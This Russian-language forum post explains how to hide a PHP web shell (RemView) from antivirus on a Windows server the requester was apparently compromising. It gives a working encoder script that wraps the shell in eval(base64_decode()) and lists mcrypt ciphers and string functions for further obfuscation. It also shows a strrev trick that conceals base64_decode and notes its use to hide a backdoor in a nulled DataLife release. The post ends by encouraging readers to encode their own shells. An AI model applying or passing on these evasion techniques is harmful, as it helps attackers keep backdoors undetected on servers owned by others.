Вчера в аську постучался чел, с которым я вел довольно длительную переписку-консультацию по имению виндового сервака. Очередная его просьба заключалась в том, что RemView палится NOD`om, стоящим на виндовом сервачке - он просил дать аналогичную софтинку, только не палащуюся.
Первым делом пришла идея просто зашифровать base64_decode, и я быстренько накодил следующий код:
PHP код:
eval(base64_decode(code));
и быстренько накодил скрипт:
PHP код:
<?php
$file_array = file( "RemView.php" ); // следует помнить, что в файле в кодируемом файле должны быть удалены начальные и конечные "примочки" php-кода (<? и ?>)
while ( list( $line ) = each($file_array) ):
$c.=$file_array[$line];
$c.=chr(10);
endwhile;
echo "eval(base64_decode('" . base64_encode($c) . '\'));';
?>
А как зашифровать сложнее, и сжать код - читаем дальше:
Функции СИММЕТРИЧНОГО ШИФРОВАНИЯ, которые могут нам помочь:
Цитата:
Сообщение от Кусок текста из книги PHP глазами хакера Михаила Фленова:
Функция mcrypt_ecb(Алгоритм,ключ,данные, режим);
Алгоритмы шифрования, которые есть в либе libmcrypt:
MCRYPT_DES - алгоритм DES
MCRYPT_3DES - алгоритм 3DES
MCRYPT_BLOWFISH - алгоритм BLOWFISH
MCRYPT_CAST128 - алгоритм cast256
MCRYPT_CAST256 - алгоритм cast256
Режим: либо MCRYPT_ENCRYPT (зашифровать) либо MCRYPT_DECRYPT (расшифровать)
(они тут еще и ужимали полученный код дефлейтом и компрессором)
Кроме заюзанных функций: bindec(), decoct(), dechex() Стоит и упоминуть еще: base_convert() - очень удобная фича, можно добавить еще и комбинации используя операции работы со строками и очень понтовую фичу - strrev() - она просто переворачивает строчку задом наперед ) (помню, писал проги для поиска фраз - полиндромов - прогоните строчки: "Улыбок тебе дед макар" и "Лазер вове хер отрезал" )
Шифруем имена самих функций
Ладно, код мы упаковали, но как быть насчет поиска антивирем наших "странных" конструкций? Нужно шифроваться ) юзаем strrev() или другие подобные функции, которые затруднят поиск потенциально опасных конструкций в исследуемом коде.
Например, очнь прикольный ход:
PHP код:
$_D=strrev('edoced_46esab');
eval($_D('....')); // данный закодированный base64_encode
(финт применен в криптовании бекдора в нуленом даталайфе 4.5)
простым поиском по файлу мы не найдем base64_decode, которую очень часто юзают в злонамеренных целях. Впрочем и eval() тоже можно было зашифровать.
Надеюсь, теперь тебе не составит никакого труда кодировать свои шеллы